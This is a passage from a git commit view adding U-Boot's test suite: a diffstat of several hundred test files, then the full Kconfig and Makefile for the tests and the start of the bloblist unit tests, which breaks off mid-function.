summaryrefslogtreecommitdiff
path: root/test
diff options
context:
space:
mode:
Diffstat (limited to 'test')
-rw-r--r--test/Kconfig121
-rw-r--r--test/Makefile35
-rw-r--r--test/bloblist.c627
-rw-r--r--test/boot/Makefile15
-rw-r--r--test/boot/bootdev.c767
-rw-r--r--test/boot/bootflow.c1162
-rw-r--r--test/boot/bootmeth.c173
-rw-r--r--test/boot/bootstd_common.c105
-rw-r--r--test/boot/bootstd_common.h56
-rw-r--r--test/boot/cedit.c221
-rw-r--r--test/boot/expo.c715
-rw-r--r--test/boot/files/expo_ids.h28
-rw-r--r--test/boot/files/expo_layout.dts76
-rw-r--r--test/boot/image.c35
-rw-r--r--test/boot/measurement.c65
-rw-r--r--test/boot/vbe_fixup.c55
-rw-r--r--test/boot/vbe_simple.c88
-rw-r--r--test/bootm.c248
-rw-r--r--test/cmd/Makefile36
-rw-r--r--test/cmd/addrmap.c36
-rw-r--r--test/cmd/armffa.c32
-rw-r--r--test/cmd/bdinfo.c310
-rw-r--r--test/cmd/cmd_ut_cmd.c20
-rw-r--r--test/cmd/exit.c134
-rw-r--r--test/cmd/fdt.c1530
-rw-r--r--test/cmd/font.c81
-rw-r--r--test/cmd/history.c48
-rw-r--r--test/cmd/loadm.c71
-rw-r--r--test/cmd/mbr.c483
-rw-r--r--test/cmd/mem.c19
-rw-r--r--test/cmd/mem_copy.c168
-rw-r--r--test/cmd/mem_search.c324
-rw-r--r--test/cmd/pci_mps.c41
-rw-r--r--test/cmd/pinmux.c40
-rw-r--r--test/cmd/pwm.c75
-rw-r--r--test/cmd/rw.c103
-rw-r--r--test/cmd/seama.c70
-rw-r--r--test/cmd/setexpr.c493
-rw-r--r--test/cmd/temperature.c38
-rw-r--r--test/cmd/test_echo.c60
-rw-r--r--test/cmd/test_pause.c44
-rw-r--r--test/cmd/wget.c205
-rw-r--r--test/cmd_ut.c264
-rw-r--r--test/command_ut.c104
-rw-r--r--test/common.sh20
-rw-r--r--test/common/Makefile6
-rw-r--r--test/common/cmd_ut_common.c21
-rw-r--r--test/common/cread.c105
-rw-r--r--test/common/cyclic.c34
-rw-r--r--test/common/event.c109
-rw-r--r--test/common/test_autoboot.c95
-rw-r--r--test/compression.c620
-rw-r--r--test/dm/Kconfig8
-rw-r--r--test/dm/Makefile138
-rw-r--r--test/dm/acpi.c758
-rw-r--r--test/dm/acpi.h32
-rw-r--r--test/dm/acpi_dp.c491
-rw-r--r--test/dm/acpigen.c1745
-rw-r--r--test/dm/adc.c197
-rw-r--r--test/dm/audio.c34
-rw-r--r--test/dm/axi.c78
-rw-r--r--test/dm/blk.c336
-rw-r--r--test/dm/blkmap.c200
-rw-r--r--test/dm/bootcount.c81
-rw-r--r--test/dm/bus.c486
-rw-r--r--test/dm/button.c228
-rw-r--r--test/dm/cache.c21
-rw-r--r--test/dm/clk.c228
-rw-r--r--test/dm/clk_ccf.c212
-rw-r--r--test/dm/core.c1354
-rw-r--r--test/dm/cpu.c49
-rw-r--r--test/dm/cros_ec.c177
-rw-r--r--test/dm/cros_ec_pwm.c59
-rw-r--r--test/dm/devres.c185
-rw-r--r--test/dm/dma.c124
-rw-r--r--test/dm/dsa.c82
-rw-r--r--test/dm/dsi_host.c58
-rw-r--r--test/dm/ecdsa.c38
-rw-r--r--test/dm/efi_media.c23
-rw-r--r--test/dm/eth.c704
-rw-r--r--test/dm/extcon.c21
-rw-r--r--test/dm/fastboot.c94
-rw-r--r--test/dm/fdtdec.c131
-rw-r--r--test/dm/ffa.c260
-rw-r--r--test/dm/firmware.c22
-rw-r--r--test/dm/fpga.c20
-rw-r--r--test/dm/fwu_mdata.c142
-rw-r--r--test/dm/fwu_mdata_disk_image.h112
-rw-r--r--test/dm/gpio.c809
-rw-r--r--test/dm/host.c202
-rw-r--r--test/dm/hwspinlock.c40
-rw-r--r--test/dm/i2c.c334
-rw-r--r--test/dm/i2s.c32
-rw-r--r--test/dm/iommu.c99
-rw-r--r--test/dm/irq.c99
-rw-r--r--test/dm/k210_pll.c93
-rw-r--r--test/dm/led.c139
-rw-r--r--test/dm/mailbox.c31
-rw-r--r--test/dm/mdio.c57
-rw-r--r--test/dm/mdio_mux.c80
-rw-r--r--test/dm/memory.c21
-rw-r--r--test/dm/misc.c83
-rw-r--r--test/dm/mmc.c53
-rw-r--r--test/dm/mux-cmd.c177
-rw-r--r--test/dm/mux-emul.c105
-rw-r--r--test/dm/mux-mmio.c137
-rw-r--r--test/dm/nand.c104
-rw-r--r--test/dm/nop.c73
-rw-r--r--test/dm/nvmxip.c146
-rw-r--r--test/dm/of_extra.c55
-rw-r--r--test/dm/of_platdata.c280
-rw-r--r--test/dm/ofnode.c1523
-rw-r--r--test/dm/ofread.c48
-rw-r--r--test/dm/osd.c218
-rw-r--r--test/dm/p2sb.c27
-rw-r--r--test/dm/panel.c79
-rw-r--r--test/dm/part.c196
-rw-r--r--test/dm/pch.c55
-rw-r--r--test/dm/pci.c489
-rw-r--r--test/dm/pci_ep.c63
-rw-r--r--test/dm/phy.c264
-rw-r--r--test/dm/phys2bus.c36
-rw-r--r--test/dm/pinmux.c147
-rw-r--r--test/dm/pmc.c32
-rw-r--r--test/dm/pmic.c130
-rw-r--r--test/dm/power-domain.c48
-rw-r--r--test/dm/pwm.c44
-rw-r--r--test/dm/qfw.c41
-rw-r--r--test/dm/ram.c28
-rw-r--r--test/dm/read.c48
-rw-r--r--test/dm/reboot-mode.c70
-rw-r--r--test/dm/regmap.c386
-rw-r--r--test/dm/regulator.c403
-rw-r--r--test/dm/remoteproc.c260
-rw-r--r--test/dm/reset.c184
-rw-r--r--test/dm/rkmtd.c199
-rw-r--r--test/dm/rng.c55
-rw-r--r--test/dm/rtc.c315
-rw-r--r--test/dm/scmi.c554
-rw-r--r--test/dm/scsi.c38
-rw-r--r--test/dm/serial.c91
-rw-r--r--test/dm/sf.c103
-rw-r--r--test/dm/simple-bus.c32
-rw-r--r--test/dm/simple-pm-bus.c44
-rw-r--r--test/dm/sm.c64
-rw-r--r--test/dm/smem.c26
-rw-r--r--test/dm/soc.c119
-rw-r--r--test/dm/sound.c67
-rw-r--r--test/dm/spi.c202
-rw-r--r--test/dm/spmi.c112
-rw-r--r--test/dm/syscon-reset.c58
-rw-r--r--test/dm/syscon.c83
-rw-r--r--test/dm/sysinfo-gpio.c68
-rw-r--r--test/dm/sysinfo.c63
-rw-r--r--test/dm/sysreset.c117
-rw-r--r--test/dm/tag.c83
-rw-r--r--test/dm/tee.c219
-rw-r--r--test/dm/test-dm.c16
-rw-r--r--test/dm/test-driver.c199
-rw-r--r--test/dm/test-fdt.c1228
-rw-r--r--test/dm/test-uclass.c131
-rw-r--r--test/dm/timer.c49
-rw-r--r--test/dm/tpm.c126
-rw-r--r--test/dm/usb.c459
-rw-r--r--test/dm/video.c605
-rw-r--r--test/dm/virtio.c32
-rw-r--r--test/dm/virtio_device.c197
-rw-r--r--test/dm/virtio_rng.c51
-rw-r--r--test/dm/wdt.c162
-rw-r--r--test/env/Kconfig9
-rw-r--r--test/env/Makefile8
-rw-r--r--test/env/attr.c87
-rw-r--r--test/env/cmd_ut_env.c19
-rw-r--r--test/env/fdt.c19
-rw-r--r--test/env/hashtable.c126
-rwxr-xr-xtest/fs/fat-noncontig-test.sh144
-rwxr-xr-xtest/fs/fs-test.sh627
-rw-r--r--test/fuzz/Makefile8
-rw-r--r--test/fuzz/cmd_fuzz.c78
-rw-r--r--test/fuzz/virtio.c71
-rw-r--r--test/hush/Makefile10
-rw-r--r--test/hush/cmd_ut_hush.c19
-rw-r--r--test/hush/dollar.c225
-rw-r--r--test/hush/if.c316
-rw-r--r--test/hush/list.c139
-rw-r--r--test/hush/loop.c90
-rw-r--r--test/image/Kconfig60
-rw-r--r--test/image/Makefile11
-rw-r--r--test/image/spl_load.c661
-rw-r--r--test/image/spl_load_fs.c441
-rw-r--r--test/image/spl_load_nand.c56
-rw-r--r--test/image/spl_load_net.c253
-rw-r--r--test/image/spl_load_nor.c40
-rw-r--r--test/image/spl_load_os.c73
-rw-r--r--test/image/spl_load_spi.c41
-rwxr-xr-xtest/image/test-imagetools.sh225
-rw-r--r--test/lib/Kconfig24
-rw-r--r--test/lib/Makefile28
-rw-r--r--test/lib/abuf.c397
-rw-r--r--test/lib/asn1.c391
-rw-r--r--test/lib/cmd_ut_lib.c19
-rw-r--r--test/lib/efi_device_path.c49
-rw-r--r--test/lib/efi_image_region.c162
-rw-r--r--test/lib/getopt.c122
-rw-r--r--test/lib/hexdump.c95
-rw-r--r--test/lib/kconfig.c57
-rw-r--r--test/lib/kconfig_spl.c43
-rw-r--r--test/lib/lmb.c825
-rw-r--r--test/lib/longjmp.c72
-rw-r--r--test/lib/rsa.c205
-rw-r--r--test/lib/sscanf.c173
-rw-r--r--test/lib/string.c226
-rw-r--r--test/lib/strlcat.c125
-rw-r--r--test/lib/test_aes.c167
-rw-r--r--test/lib/test_crc8.c29
-rw-r--r--test/lib/test_crypt.c63
-rw-r--r--test/lib/test_errno_str.c45
-rw-r--r--test/lib/test_print.c78
-rw-r--r--test/lib/uuid.c40
-rw-r--r--test/log/Makefile26
-rw-r--r--test/log/cont_test.c63
-rw-r--r--test/log/log_filter.c108
-rw-r--r--test/log/log_test.c462
-rw-r--r--test/log/log_ut.c20
-rw-r--r--test/log/nolog_ndebug.c38
-rw-r--r--test/log/nolog_test.c138
-rw-r--r--test/log/pr_cont_test.c42
-rw-r--r--test/log/syslog_test.c240
-rw-r--r--test/log/syslog_test.h64
-rw-r--r--test/log/syslog_test_ndebug.c57
-rw-r--r--test/optee/Kconfig7
-rw-r--r--test/optee/Makefile13
-rw-r--r--test/optee/cmd_ut_optee.c148
-rw-r--r--test/optee/test-optee-base.dts13
-rw-r--r--test/optee/test-optee-no-optee.dts13
-rw-r--r--test/optee/test-optee-optee.dts32
-rw-r--r--test/overlay/Kconfig10
-rw-r--r--test/overlay/Makefile14
-rw-r--r--test/overlay/cmd_ut_overlay.c284
-rw-r--r--test/overlay/test-fdt-base.dts20
-rw-r--r--test/overlay/test-fdt-overlay-stacked.dts20
-rw-r--r--test/overlay/test-fdt-overlay.dts95
-rw-r--r--test/print_ut.c401
-rw-r--r--test/py/.gitignore1
-rw-r--r--test/py/conftest.py688
-rw-r--r--test/py/multiplexed_log.css108
-rw-r--r--test/py/multiplexed_log.py714
-rw-r--r--test/py/pytest.ini14
-rw-r--r--test/py/requirements.txt30
-rwxr-xr-xtest/py/test.py24
-rw-r--r--test/py/tests/bootstd/armbian.bmp.xzbin0 -> 1384 bytes
-rw-r--r--test/py/tests/bootstd/mmc1.img.xzbin0 -> 4480 bytes
-rw-r--r--test/py/tests/bootstd/mmc4.img.xzbin0 -> 7072 bytes
-rw-r--r--test/py/tests/fit_util.py93
-rw-r--r--test/py/tests/fs_helper.py69
-rw-r--r--test/py/tests/source.its43
-rw-r--r--test/py/tests/test_000_version.py19
-rw-r--r--test/py/tests/test_android/test_ab.py75
-rw-r--r--test/py/tests/test_android/test_abootimg.py269
-rw-r--r--test/py/tests/test_android/test_avb.py138
-rw-r--r--test/py/tests/test_bind.py193
-rw-r--r--test/py/tests/test_bootmenu.py46
-rw-r--r--test/py/tests/test_bootstage.py67
-rw-r--r--test/py/tests/test_button.py37
-rw-r--r--test/py/tests/test_cat/conftest.py36
-rw-r--r--test/py/tests/test_cat/test_cat.py20
-rw-r--r--test/py/tests/test_cleanup_build.py110
-rw-r--r--test/py/tests/test_dfu.py320
-rw-r--r--test/py/tests/test_dm.py81
-rw-r--r--test/py/tests/test_efi_bootmgr/conftest.py38
-rw-r--r--test/py/tests/test_efi_bootmgr/test_efi_bootmgr.py44
-rw-r--r--test/py/tests/test_efi_capsule/capsule_common.py142
-rw-r--r--test/py/tests/test_efi_capsule/capsule_defs.py12
-rw-r--r--test/py/tests/test_efi_capsule/capsule_gen_binman.dts168
-rw-r--r--test/py/tests/test_efi_capsule/conftest.py105
-rw-r--r--test/py/tests/test_efi_capsule/test_capsule_firmware_fit.py183
-rw-r--r--test/py/tests/test_efi_capsule/test_capsule_firmware_raw.py229
-rw-r--r--test/py/tests/test_efi_capsule/test_capsule_firmware_signed_fit.py193
-rw-r--r--test/py/tests/test_efi_capsule/test_capsule_firmware_signed_raw.py192
-rw-r--r--test/py/tests/test_efi_capsule/version.dts24
-rw-r--r--test/py/tests/test_efi_fit.py466
-rw-r--r--test/py/tests/test_efi_loader.py204
-rw-r--r--test/py/tests/test_efi_secboot/conftest.py244
-rw-r--r--test/py/tests/test_efi_secboot/defs.py16
-rw-r--r--test/py/tests/test_efi_secboot/forge_image.sh5
-rw-r--r--test/py/tests/test_efi_secboot/openssl.cnf48
-rw-r--r--test/py/tests/test_efi_secboot/test_authvar.py281
-rw-r--r--test/py/tests/test_efi_secboot/test_signed.py371
-rw-r--r--test/py/tests/test_efi_secboot/test_signed_intca.py135
-rw-r--r--test/py/tests/test_efi_secboot/test_unsigned.py117
-rw-r--r--test/py/tests/test_efi_selftest.py197
-rw-r--r--test/py/tests/test_eficonfig/conftest.py40
-rw-r--r--test/py/tests/test_eficonfig/test_eficonfig.py358
-rw-r--r--test/py/tests/test_env.py652
-rw-r--r--test/py/tests/test_event_dump.py24
-rw-r--r--test/py/tests/test_extension.py53
-rwxr-xr-xtest/py/tests/test_fit.py410
-rw-r--r--test/py/tests/test_fit_auto_signed.py195
-rw-r--r--test/py/tests/test_fit_ecdsa.py113
-rw-r--r--test/py/tests/test_fit_hashes.py114
-rw-r--r--test/py/tests/test_fpga.py565
-rw-r--r--test/py/tests/test_fs/conftest.py674
-rw-r--r--test/py/tests/test_fs/fstest_defs.py16
-rw-r--r--test/py/tests/test_fs/fstest_helpers.py13
-rw-r--r--test/py/tests/test_fs/test_basic.py292
-rw-r--r--test/py/tests/test_fs/test_erofs.py220
-rw-r--r--test/py/tests/test_fs/test_ext.py355
-rw-r--r--test/py/tests/test_fs/test_fs_cmd.py13
-rw-r--r--test/py/tests/test_fs/test_fs_fat.py25
-rw-r--r--test/py/tests/test_fs/test_mkdir.py121
-rw-r--r--test/py/tests/test_fs/test_squashfs/sqfs_common.py204
-rw-r--r--test/py/tests/test_fs/test_squashfs/test_sqfs_load.py154
-rw-r--r--test/py/tests/test_fs/test_squashfs/test_sqfs_ls.py148
-rw-r--r--test/py/tests/test_fs/test_symlink.py130
-rw-r--r--test/py/tests/test_fs/test_unlink.py118
-rw-r--r--test/py/tests/test_gpio.py315
-rw-r--r--test/py/tests/test_gpt.py350
-rw-r--r--test/py/tests/test_handoff.py15
-rw-r--r--test/py/tests/test_help.py34
-rw-r--r--test/py/tests/test_i2c.py116
-rw-r--r--test/py/tests/test_kconfig.py39
-rw-r--r--test/py/tests/test_log.py48
-rw-r--r--test/py/tests/test_lsblk.py14
-rw-r--r--test/py/tests/test_md.py36
-rw-r--r--test/py/tests/test_mdio.py79
-rw-r--r--test/py/tests/test_memtest.py68
-rw-r--r--test/py/tests/test_mii.py92
-rw-r--r--test/py/tests/test_mmc.py671
-rw-r--r--test/py/tests/test_mmc_rd.py286
-rw-r--r--test/py/tests/test_mmc_wr.py105
-rw-r--r--test/py/tests/test_net.py459
-rw-r--r--test/py/tests/test_of_migrate.py108
-rw-r--r--test/py/tests/test_ofplatdata.py23
-rw-r--r--test/py/tests/test_optee_rpmb.py20
-rw-r--r--test/py/tests/test_part.py14
-rw-r--r--test/py/tests/test_pinmux.py85
-rw-r--r--test/py/tests/test_pstore.py77
-rw-r--r--test/py/tests/test_pstore_data_console.hexbin0 -> 4096 bytes
-rw-r--r--test/py/tests/test_pstore_data_panic1.hexbin0 -> 4096 bytes
-rw-r--r--test/py/tests/test_pstore_data_panic2.hexbin0 -> 4096 bytes
-rw-r--r--test/py/tests/test_qfw.py26
-rw-r--r--test/py/tests/test_reset.py63
-rw-r--r--test/py/tests/test_sandbox_exit.py45
-rw-r--r--test/py/tests/test_sandbox_opts.py30
-rw-r--r--test/py/tests/test_saveenv.py137
-rw-r--r--test/py/tests/test_scp03.py27
-rw-r--r--test/py/tests/test_scsi.py92
-rw-r--r--test/py/tests/test_semihosting/conftest.py23
-rw-r--r--test/py/tests/test_semihosting/test_hostfs.py33
-rw-r--r--test/py/tests/test_sf.py217
-rw-r--r--test/py/tests/test_shell_basics.py45
-rw-r--r--test/py/tests/test_sleep.py61
-rw-r--r--test/py/tests/test_smbios.py41
-rw-r--r--test/py/tests/test_source.py37
-rw-r--r--test/py/tests/test_spl.py44
-rw-r--r--test/py/tests/test_stackprotector.py15
-rw-r--r--test/py/tests/test_tpm2.py318
-rw-r--r--test/py/tests/test_trace.py306
-rw-r--r--test/py/tests/test_ums.py236
-rw-r--r--test/py/tests/test_unknown_cmd.py13
-rw-r--r--test/py/tests/test_usb.py626
-rw-r--r--test/py/tests/test_ut.py510
-rw-r--r--test/py/tests/test_vbe.py120
-rw-r--r--test/py/tests/test_vbe_vpl.py40
-rw-r--r--test/py/tests/test_vboot.py643
-rw-r--r--test/py/tests/test_vpl.py34
-rw-r--r--test/py/tests/test_xxd/conftest.py36
-rw-r--r--test/py/tests/test_xxd/test_xxd.py23
-rw-r--r--test/py/tests/test_zynq_secure.py190
-rw-r--r--test/py/tests/test_zynqmp_rpu.py208
-rw-r--r--test/py/tests/test_zynqmp_secure.py104
-rw-r--r--test/py/tests/vboot/hash-images.its76
-rw-r--r--test/py/tests/vboot/sandbox-binman-pss.dts25
-rw-r--r--test/py/tests/vboot/sandbox-binman.dts24
-rw-r--r--test/py/tests/vboot/sandbox-kernel.dts7
-rw-r--r--test/py/tests/vboot/sandbox-u-boot-global-pss.dts28
-rw-r--r--test/py/tests/vboot/sandbox-u-boot-global.dts27
-rw-r--r--test/py/tests/vboot/sandbox-u-boot.dts13
-rw-r--r--test/py/tests/vboot/sign-configs-algo-arg.its44
-rw-r--r--test/py/tests/vboot/sign-configs-sha1-pss.its46
-rw-r--r--test/py/tests/vboot/sign-configs-sha1.its45
-rw-r--r--test/py/tests/vboot/sign-configs-sha256-pss-prod.its46
-rw-r--r--test/py/tests/vboot/sign-configs-sha256-pss.its46
-rw-r--r--test/py/tests/vboot/sign-configs-sha256.its45
-rw-r--r--test/py/tests/vboot/sign-configs-sha384.its45
-rw-r--r--test/py/tests/vboot/sign-images-algo-arg.its40
-rw-r--r--test/py/tests/vboot/sign-images-sha1-pss.its44
-rw-r--r--test/py/tests/vboot/sign-images-sha1.its42
-rw-r--r--test/py/tests/vboot/sign-images-sha256-pss.its44
-rw-r--r--test/py/tests/vboot/sign-images-sha256.its42
-rw-r--r--test/py/tests/vboot/sign-images-sha384.its42
-rw-r--r--test/py/tests/vboot/simple-images.its36
-rw-r--r--test/py/tests/vboot_evil.py486
-rw-r--r--test/py/tests/vboot_forge.py423
-rw-r--r--test/py/u_boot_console_base.py508
-rw-r--r--test/py/u_boot_console_exec_attach.py72
-rw-r--r--test/py/u_boot_console_sandbox.py119
-rw-r--r--test/py/u_boot_spawn.py241
-rw-r--r--test/py/u_boot_utils.py382
-rwxr-xr-xtest/run107
-rw-r--r--test/stdint/int-types.c12
-rwxr-xr-xtest/stdint/test-includes.sh56
-rw-r--r--test/str_ut.c364
-rw-r--r--test/test-main.c652
-rw-r--r--test/time_ut.c132
-rwxr-xr-xtest/trace/test-trace.sh64
-rw-r--r--test/unicode_ut.c858
-rw-r--r--test/ut.c233
408 files changed, 67542 insertions, 0 deletions
diff --git a/test/Kconfig b/test/Kconfig
new file mode 100644
index 00000000000..e2ec0994a2e
--- /dev/null
+++ b/test/Kconfig
@@ -0,0 +1,121 @@
+menu "Testing"
+
+config UNIT_TEST
+ bool "Unit tests"
+ depends on CMDLINE
+ help
+ Select this to compile in unit tests for various parts of
+ U-Boot. Test suites will be subcommands of the "ut" command.
+ This does not require sandbox to be included, but it is most
+ often used there.
+
+config SPL_UNIT_TEST
+ bool "Unit tests in SPL"
+ depends on SPL
+ # We need to be able to unbind devices for tests to work
+ select SPL_DM_DEVICE_REMOVE
+ help
+ Select this to enable unit tests in SPL. Most test are designed for
+ running in U-Boot proper, but some are intended for SPL, such as
+ of-platdata and SPL handover. To run these tests with the sandbox_spl
+ board, use the -u (unit test) option.
+
+config UT_LIB
+ bool "Unit tests for library functions"
+ depends on UNIT_TEST
+ default y if !SANDBOX_VPL
+ help
+ Enables the 'ut lib' command which tests library functions like
+ memcat(), memcyp(), memmove() and ASN1 compiler/decoder.
+
+if UT_LIB
+
+config UT_LIB_ASN1
+ bool "Unit test for asn1 compiler and decoder function"
+ depends on SANDBOX
+ default y
+ imply ASYMMETRIC_KEY_TYPE
+ imply ASYMMETRIC_PUBLIC_KEY_SUBTYPE
+ imply X509_CERTIFICATE_PARSER
+ imply PKCS7_MESSAGE_PARSER
+ imply RSA_PUBLIC_KEY_PARSER
+ help
+ Enables a test which exercises asn1 compiler and decoder function
+ via various parsers.
+
+config UT_LIB_CRYPT
+ bool "Unit test for crypt-style password hashing"
+ depends on !SPL && AUTOBOOT_KEYED && AUTOBOOT_ENCRYPTION
+ default y
+ select CRYPT_PW
+ select CRYPT_PW_SHA256
+ select CRYPT_PW_SHA512
+ help
+ Enables a test for the crypt-style password hash functions.
+
+config UT_LIB_RSA
+ bool "Unit test for rsa_verify() function"
+ depends on RSA
+ depends on RSA_VERIFY_WITH_PKEY
+ select IMAGE_SIGN_INFO
+ default y
+ help
+ Enables rsa_verify() test, currently rsa_verify_with_pkey only()
+ only, at the 'ut lib' command.
+
+endif
+
+config UT_BOOTSTD
+ bool "Unit tests for standard boot"
+ depends on UNIT_TEST && BOOTSTD && SANDBOX
+ default y
+
+config UT_COMPRESSION
+ bool "Unit test for compression"
+ depends on UNIT_TEST
+ depends on CMDLINE && GZIP_COMPRESSED && BZIP2 && LZMA && LZO && LZ4 && ZSTD
+ default y
+ help
+ Enables tests for compression and decompression routines for simple
+ sanity and for buffer overflow conditions.
+
+config UT_LOG
+ bool "Unit tests for logging functions"
+ depends on UNIT_TEST
+ default y
+ help
+ Enables the 'ut log' command which tests logging functions like
+ log_err().
+ See also CONFIG_LOG_TEST which provides the 'log test' command.
+
+config UT_TIME
+ bool "Unit tests for time functions"
+ depends on UNIT_TEST
+ help
+ Enables the 'ut time' command which tests that the time functions
+ work correctly. The test is fairly simple and will not catch all
+ problems. But if you are having problems with udelay() and the like,
+ this is a good place to start.
+
+config UT_UNICODE
+ bool "Unit tests for Unicode functions"
+ depends on UNIT_TEST
+ default y
+ select CHARSET
+ help
+ Enables the 'ut unicode' command which tests that the functions for
+ manipulating Unicode strings work correctly.
+
+source "test/dm/Kconfig"
+source "test/env/Kconfig"
+source "test/image/Kconfig"
+source "test/lib/Kconfig"
+source "test/optee/Kconfig"
+source "test/overlay/Kconfig"
+
+config POST
+ bool "Power On Self Test support"
+ help
+ See doc/README.POST for more details
+
+endmenu
diff --git a/test/Makefile b/test/Makefile
new file mode 100644
index 00000000000..ed312cd0a48
--- /dev/null
+++ b/test/Makefile
@@ -0,0 +1,35 @@
+# SPDX-License-Identifier: GPL-2.0+
+#
+# (C) Copyright 2012 The Chromium Authors
+
+obj-y += test-main.o
+
+ifneq ($(CONFIG_$(SPL_)BLOBLIST),)
+obj-$(CONFIG_$(SPL_)CMDLINE) += bloblist.o
+obj-$(CONFIG_$(SPL_)CMDLINE) += bootm.o
+endif
+obj-$(CONFIG_$(SPL_)CMDLINE) += cmd/
+obj-$(CONFIG_$(SPL_)CMDLINE) += cmd_ut.o
+obj-$(CONFIG_$(SPL_)CMDLINE) += command_ut.o
+obj-$(CONFIG_$(SPL_)UT_COMPRESSION) += compression.o
+obj-y += dm/
+obj-$(CONFIG_FUZZ) += fuzz/
+ifndef CONFIG_SANDBOX_VPL
+obj-$(CONFIG_UNIT_TEST) += lib/
+endif
+ifneq ($(CONFIG_HUSH_PARSER),)
+obj-$(CONFIG_$(SPL_)CMDLINE) += hush/
+endif
+obj-$(CONFIG_$(SPL_)CMDLINE) += print_ut.o
+obj-$(CONFIG_$(SPL_)CMDLINE) += str_ut.o
+obj-$(CONFIG_UT_TIME) += time_ut.o
+obj-y += ut.o
+
+ifeq ($(CONFIG_SPL_BUILD),)
+obj-y += boot/
+obj-$(CONFIG_UNIT_TEST) += common/
+obj-y += log/
+obj-$(CONFIG_$(SPL_)UT_UNICODE) += unicode_ut.o
+else
+obj-$(CONFIG_SPL_UT_LOAD) += image/
+endif
diff --git a/test/bloblist.c b/test/bloblist.c
new file mode 100644
index 00000000000..7c63682908a
--- /dev/null
+++ b/test/bloblist.c
@@ -0,0 +1,627 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (c) 2018, Google Inc. All rights reserved.
+ */
+
+#include <bloblist.h>
+#include <log.h>
+#include <mapmem.h>
+#include <asm/global_data.h>
+#include <test/suites.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+DECLARE_GLOBAL_DATA_PTR;
+
+/* Declare a new bloblist test */
+#define BLOBLIST_TEST(_name, _flags) \
+ UNIT_TEST(_name, _flags, bloblist_test)
+
+enum {
+ TEST_TAG = BLOBLISTT_U_BOOT_SPL_HANDOFF,
+ TEST_TAG2 = BLOBLISTT_VBOOT_CTX,
+ TEST_TAG_MISSING = 0x10000,
+
+ TEST_SIZE = 10,
+ TEST_SIZE2 = 20,
+ TEST_SIZE_LARGE = 0x3e0,
+
+ TEST_ADDR = CONFIG_BLOBLIST_ADDR,
+ TEST_BLOBLIST_SIZE = 0x400,
+
+ ERASE_BYTE = '\xff',
+};
+
+static const char test1_str[] = "the eyes are open";
+static const char test2_str[] = "the mouth moves";
+
+static struct bloblist_hdr *clear_bloblist(void)
+{
+ struct bloblist_hdr *hdr;
+
+ /*
+ * Clear out any existing bloblist so we have a clean slate. Zero the
+ * header so that existing records are removed, but set everything else
+ * to 0xff for testing purposes.
+ */
+ hdr = map_sysmem(CONFIG_BLOBLIST_ADDR, TEST_BLOBLIST_SIZE);
+ memset(hdr, ERASE_BYTE, TEST_BLOBLIST_SIZE);
+ memset(hdr, '\0', sizeof(*hdr));
+
+ return hdr;
+}
+
+static int check_zero(void *data, int size)
+{
+ u8 *ptr;
+ int i;
+
+ for (ptr = data, i = 0; i < size; i++, ptr++) {
+ if (*ptr)
+ return -EINVAL;
+ }
+
+ return 0;
+}
+
+static int bloblist_test_init(struct unit_test_state *uts)
+{
+ struct bloblist_hdr *hdr;
+
+ hdr = clear_bloblist();
+ ut_asserteq(-ENOENT, bloblist_check(TEST_ADDR, TEST_BLOBLIST_SIZE));
+ ut_asserteq_ptr(NULL, bloblist_check_magic(TEST_ADDR));
+ ut_assertok(bloblist_new(TEST_ADDR, TEST_BLOBLIST_SIZE, 0, 0));
+ ut_asserteq_ptr(hdr, bloblist_check_magic(TEST_ADDR));
+ hdr->version++;
+ ut_asserteq(-EPROTONOSUPPORT, bloblist_check(TEST_ADDR,
+ TEST_BLOBLIST_SIZE));
+
+ ut_asserteq(-ENOSPC, bloblist_new(TEST_ADDR, 0xc, 0, 0));
+ ut_asserteq(-EFAULT, bloblist_new(1, TEST_BLOBLIST_SIZE, 0, 0));
+ ut_assertok(bloblist_new(TEST_ADDR, TEST_BLOBLIST_SIZE, 0, 0));
+
+ ut_asserteq(-EIO, bloblist_check(TEST_ADDR, TEST_BLOBLIST_SIZE));
+ ut_assertok(bloblist_finish());
+ ut_assertok(bloblist_check(TEST_ADDR, TEST_BLOBLIST_SIZE));
+
+ hdr->magic++;
+ ut_asserteq_ptr(NULL, bloblist_check_magic(TEST_ADDR));
+ hdr->magic--;
+
+ hdr->flags++;
+ ut_asserteq(-EIO, bloblist_check(TEST_ADDR, TEST_BLOBLIST_SIZE));
+
+ return 1;
+}
+BLOBLIST_TEST(bloblist_test_init, 0);
+
+static int bloblist_test_blob(struct unit_test_state *uts)
+{
+ struct bloblist_hdr *hdr;
+ struct bloblist_rec *rec, *rec2;
+ char *data;
+
+ /* At the start there should be no records */
+ hdr = clear_bloblist();
+ ut_assertnull(bloblist_find(TEST_TAG, TEST_BLOBLIST_SIZE));
+ ut_assertok(bloblist_new(TEST_ADDR, TEST_BLOBLIST_SIZE, 0, 0));
+ ut_asserteq(sizeof(struct bloblist_hdr), bloblist_get_size());
+ ut_asserteq(TEST_BLOBLIST_SIZE, bloblist_get_total_size());
+ ut_asserteq(TEST_ADDR, bloblist_get_base());
+ ut_asserteq(map_to_sysmem(hdr), TEST_ADDR);
+
+ /* Add a record and check that we can find it */
+ data = bloblist_add(TEST_TAG, TEST_SIZE, 0);
+ rec = (void *)(hdr + 1);
+ ut_asserteq_addr(rec + 1, data);
+ data = bloblist_find(TEST_TAG, TEST_SIZE);
+ ut_asserteq_addr(rec + 1, data);
+
+ /* Check the data is zeroed */
+ ut_assertok(check_zero(data, TEST_SIZE));
+
+ /* Check the 'ensure' method */
+ ut_asserteq_addr(data, bloblist_ensure(TEST_TAG, TEST_SIZE));
+ ut_assertnull(bloblist_ensure(TEST_TAG, TEST_SIZE2));
+ rec2 = (struct bloblist_rec *)(data + ALIGN(TEST_SIZE, BLOBLIST_ALIGN));
+ ut_assertok(check_zero(data, TEST_SIZE));
+
+ /* Check for a non-existent record */
+ ut_asserteq_addr(data, bloblist_ensure(TEST_TAG, TEST_SIZE));
+ ut_asserteq_addr(rec2 + 1, bloblist_ensure(TEST_TAG2, TEST_SIZE2));
+ ut_assertnull(bloblist_find(TEST_TAG_MISSING, 0));
+
+ return 0;
+}
+BLOBLIST_TEST(bloblist_test_blob, 0);
+
+/* Check bloblist_ensure_size_ret() */
+static int bloblist_test_blob_ensure(struct unit_test_state *uts)
+{
+ void *data, *data2;
+ int size;
+
+ /* At the start there should be no records */
+ clear_bloblist();
